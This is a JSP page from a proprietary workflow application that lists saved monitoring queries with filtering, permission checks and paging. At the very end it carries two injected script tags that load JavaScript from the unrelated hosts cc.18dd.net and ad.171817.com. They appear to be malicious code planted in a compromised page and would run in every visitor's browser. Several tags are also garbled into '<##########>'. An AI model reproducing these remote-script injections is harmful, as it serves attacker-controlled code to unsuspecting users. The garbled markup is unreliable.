<%
/*
 * @(#)ListWorkflowMonitoringGroup.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListWorkflowMonitoringGroup.jsp

  This is a ListWorkflowMonitoringGroup page.

    @author             Angus Shiu
    @company            DCIVision Ltd
    @creation date      30/07/2003
    @version            $Revision: 1.15.2.14 $
*/

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.util.ArrayList"%>
<%@ page import="java.util.List"%>
<%@ page import="java.util.Locale"%>
<%@ page import="com.dcivision.workflow.bean.*"%>
<%@ page import="com.dcivision.workflow.web.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="com.dcivision.form.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listWorkflowQueryRecordForm" scope="request" class="com.dcivision.workflow.web.ListWorkflowQueryRecordForm"/>
<%

  /****************************************************************************
   * List Attributes Configuration Begin
   ****************************************************************************/
  String      LIST_NAME = "workflowMonitoringQueryList";

  String[][]  LABEL_MAP = { {"ID", "ID"},
		                    {"dms.label.query_name", "QUERY_NAME"},
                            {"dms.label.query_desc", "DESCRIPTION"},
                            {"dms.label.ispublic","QUERY_TYPE"},
                            {"common.columnheader.update_date", "UPDATE_DATE"},
                            {"common.columnheader.updater", "UPDATER_ID"}
                          };

  String[][] SEARCH_MAP = { {"dms.label.query_name", "QUERY_NAME"},
                            {"dms.label.query_desc", "DESCRIPTION"},
                          };

  int     COLUMN_OFFSET = 1;
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/
%>
<script language="JavaScript">
<!--
  function CusOpList(frm) {
    var par1, par2;
    par1 = document.listWorkflowQueryRecordForm.sortAttribute.value;
    par2 = document.listWorkflowQueryRecordForm.sortOrder.value;
    return OpList(frm, par1, par2);
 }
-->
</script>
<!-- Form Section Begin -->
<html:form action="workflow/ListWorkflowMonitoringGroup" method="POST">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>

<layout:listBar>
    <div class="button">
      <html:permissionButton styleClass="but-colheader" disabledStyleClass="but-colheader-disabled" right="I" label="common.label.new" link="ListWorkflowMonitoring.do?navMode=N&workflowGroupID=${listWorkflowQueryRecordForm. workflowGroupID}&returnTo=MaintWorkflowQueryRecord.do?fromType=LQ$$workflowGroupID=${listWorkflowQueryRecordForm .workflowGroupID}"/>
      <html:permissionButton styleClass="but-colheader" disabledStyleClass="but-colheader-disabled" right="D" label="common.label.delete" onClick="return(OpListDelete(listWorkflowQueryRecordForm))"/>
    </div>
    <layout:filterControl enable="true"/>
    </layout:listBar>
<!-- Search Panel Begin -->
<div id="filterPanel" class="filterPanel">
    <div class="wording"><bean:message key='common.label.filter.panel_wording'/></div>
    <div>
    <table>
    <tr>
    <td class="filterPanelItem" nowrap>
      <bean:message key='workflow.label.workflow_group'/>:
    </td>
    <td class="filterPanelItem" colspan="2">
      <html:select property='workflowGroupID' onkeypress="onKeyPressHandler(event);" onchange="return(CusOpList(listWorkflowQueryRecordForm))">
        <html:options stringArray='<%=(String[][])request.getAttribute("listActiveRecord")%>' convertLabel='false' hasSelect='false'/>
     </html:select>
    </td>
    </tr>
    <tr>
    <td class="filterPanelItem" nowrap>
      <html:select property="basicSearchField" onkeypress="onKeyPressHandler(event);">
      <html:options stringArray='<%=SEARCH_MAP%>'/>
      </html:select>
    </td>
    <td class="filterPanelItem" nowrap>
      <html:select property='basicSearchType' onkeypress="onKeyPressHandler(event);">
        <html:options listName='criteriaList'/>
      </html:select>
    </td>
    <td class="filterPanelItem" nowrap>
      <html:text property='basicSearchKeyword' size='25' maxlength='100' onkeypress="onKeyPressHandler(event);"/>
    </td>
  </tr>
</table>
</div>
<div class="buttonContainer">
      <html:standardButton supportEnterKey="true" label="common.label.apply_filter" onClick="return(OpList(listWorkflowQueryRecordForm, '${listWorkflowQueryRecordForm.sortAttribute}', '${listWorkflowQueryRecordForm.sortOrder}'))"/>
      <html:standardButton label="common.label.remove_filter" onClick="return(OpListReset(listWorkflowQueryRecordForm))"/>
    </div>
    <br style="clear:both" />
</div>
<!-- Search Panel End -->

<!-- Table Showing Record List Begin -->
<div id="dataGrid" class="listTable">
<table>
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="listWorkflowQueryRecordForm" labelMap="<%=LABEL_MAP%>" editColumn="true" copyColumn="false" sortAttribute="<%=listWorkflowQueryRecordForm.getSortAttribute()%>" sortOrder="<%=listWorkflowQueryRecordForm.getSortOrder()%>"/>
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <logic:iterate id="workflowQueryRecord" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)workflowQueryRecord).getID()%>);">
    <td align="center" width="18">

      <logic:permission right='D'>
      <logic:equal name='workflowQueryRecord' property='updaterID' value='<%=sessionContainer.getUserRecordID().toString()%>'>
      <input type="checkbox" name="basicSelectedID" value="<bean:write name='workflowQueryRecord' property='ID'/>" onclick="return(false);">
      </logic:equal>
      <logic:notEqual name='workflowQueryRecord' property='updaterID' value='<%=sessionContainer.getUserRecordID().toString()%>'>
      <html:img src='IconCheckboxDisable.gif' styleClass='disabledCheckbox'/>
      <input type="hidden" name="basicSelectedID" value='-1' />
      </logic:notEqual>
      <##########>
      <html:img src='IconCheckboxDisable.gif'  align='absmiddle' styleClass='disabledCheckbox'/>
      </logic:permission>

    </td>
    <td>
      <logic:permission right='E'>
      <logic:equal name='workflowQueryRecord' property='updaterID' value='<%=sessionContainer.getUserRecordID().toString()%>'>
      <a href="ListWorkflowMonitoring.do?queryID=<bean:write name='workflowQueryRecord' property='ID'/>&opMode=QUERY.OPTION&returnTo=MaintWorkflowQueryRecord.do?fromType=LQ$$workflowGroupID=<bean:write name='listWorkflowQueryRecordForm' property='workflowGroupID'/>"><html:img src='IconEdit.gif'  align='absmiddle'/></a>
      </logic:equal>
      <logic:notEqual name='workflowQueryRecord' property='updaterID' value='<%=sessionContainer.getUserRecordID().toString()%>'>
      <html:img src='IconEditDisable.gif'  align='absmiddle'/>
      </logic:notEqual>
      <##########>
      <html:img src='IconEditDisable.gif'  align='absmiddle'/>
      </logic:permission>
    </td>
    <td align="left" width="40%">
    <a href="ListWorkflowMonitoring.do?queryID=<bean:write name='workflowQueryRecord' property='ID'/>&opMode=L">
    <html:img src='IconGoGreen16.gif' align='absmiddle'/>
    </a>
    <a href="ListWorkflowMonitoring.do?queryID=<bean:write name='workflowQueryRecord' property='ID'/>&opMode=L">
    <bean:write name='workflowQueryRecord' property='queryName'/></a>
    </td>
    <td>
      <bean:write name='workflowQueryRecord' property='queryDescription'/>
    </td>
    <td align="center">
     <logic:equal name='workflowQueryRecord' property='queryType' value='P'>
       <html:img src="IconTick.gif"   align='absmiddle'/>
     </logic:equal>
      <logic:equal name='workflowQueryRecord' property='queryType' value='PR'>
       <html:img src="IconCross.gif"   align='absmiddle'/>
     </logic:equal>
     <logic:equal name='workflowQueryRecord' property='queryType' value='D'>
       <html:img src="IconCross.gif"   align='absmiddle'/>
     </logic:equal>
    </td>
    <td class="bodyVerySmall" nowrap><bean:write name='workflowQueryRecord' property='updateDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></td>
    <td class="bodyVerySmall"><bean:write name='workflowQueryRecord' property='updaterName'/></td>
  </tr>
  </logic:iterate>
  </table>
  </div>
  <!-- Record Looping End -->
  <!-- Pager Information Begin -->
  <div class="listStatusBar">
  <layout:pager form="listWorkflowQueryRecordForm" name='<%=LIST_NAME%>'>
    <div class="statement"><layout:pagerInfo/></div>
    <div class="sepBar"><layout:pagerIndex/></div>
  </layout:pager>
  </div>
  <!-- Pager Information End -->
<!-- Table Showing Record List End -->

</html:form>
<!-- Form Section End -->

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>